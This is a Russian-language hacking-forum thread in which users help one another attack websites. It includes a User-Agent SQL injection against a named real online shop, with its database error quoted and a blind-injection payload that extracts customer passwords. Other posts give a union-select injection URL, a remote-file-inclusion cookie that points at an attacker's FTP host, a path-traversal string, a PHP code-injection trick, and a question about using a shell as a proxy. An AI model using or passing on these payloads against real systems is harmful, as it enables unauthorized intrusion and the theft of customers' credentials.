Т.е. ты достаешь данные из таблички пользователей сайта. А путь ты нашёл не к админке сайта, а к phpmyadmin'у и directadmin'y, соответственно пароль не подходит. Авторизация, как было сказано выше, на главной странице. Авторизируйся под логином и паролем admin.
Нашел инъекцию через юзер агента(Tampler data рулит).Как подставлять запросы? Пробовал and+select+version() и тд-непрет. Сайтик www.prozis.es После названия браузера ставим кавычку. Code: 1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '(Windows; U; Windows NT 5.1; en-US; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6 (' at line 1 replace into robots (user_agent, last_access, num_access) values ('Mozilla/5.0' (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6 (.NET CLR 3.5.30729)',now(),0)
Вот смотрите, дорогие друзья, вот так НЕНАДО помогать новичкам l1ght ты правда думаешь, что он понял?
2Fed123 Почитай про blind-скл-инъекии статьи Elect'a и Qwazar'a на этом форуме. Раскрутить можно: Code: User-Agent: Mozilla/5.0',if((locate(substr((select customers_password from customers limit 1),1),'0123456789abcdef')),now(),(select 1 union select 2)), 0) # и т.д.
Где-то видел тут на античате тему про, то как делать эксплоит скрипта типа PHP: <? $a($b); ?> он юзается примерно так: test.php?a=phpinfo&b=32 вот и подумал может с классами также можно извратиться. P.S. Это к сообщению про вот этот скрипт PHP: <? $template->set_filenames(array('head'=>"$template_path/header.html")); $template->pparse('head'); ?>
Привет есть стандартная инъекция в MySQL вида: site.ru/index.php?id=1+union+select+1,2,3,4,5--+ Возможно ли сделать UPDATE или INSERT в базу?
Возможно ли сделать прокси из сервера на котором есть шелл? Если не рутить его (выдел в шелле можно порты вроде какието открывать.)
Есть скрипт, который проверяет является ли папкой (ф-цией is_dir) значение skin в куках. Если да, то идёт инклюд: PHP: if(is_dir($_COOKIE['skin'])) include($_COOKIE['skin'].'/template.php'); Можно ли реализовать LFI произвольного файла, а не только template.php?. Если же заюзать NULL - байт, то инклюдится ничего не будет, ибо is_dir возвратит false.
Там RFI Cookie: skin=ftp://vasya:[email protected]/ ну а на фтпшнике соответственно файл template.php + "Начиная с PHP 5.0.0, эта функция также может быть использована с некоторыми упаковщиками url." == Если интересует именно LFI произвольного файла, то врятли
Покажи как. Вот как раз для случая с Code: $template->set_filenames(array('head'=>"$template_path/header.html"));
PHP: file.php?template=../index.php%0D Ну а я вообщем то говорил про первый пример, так что строго не судите
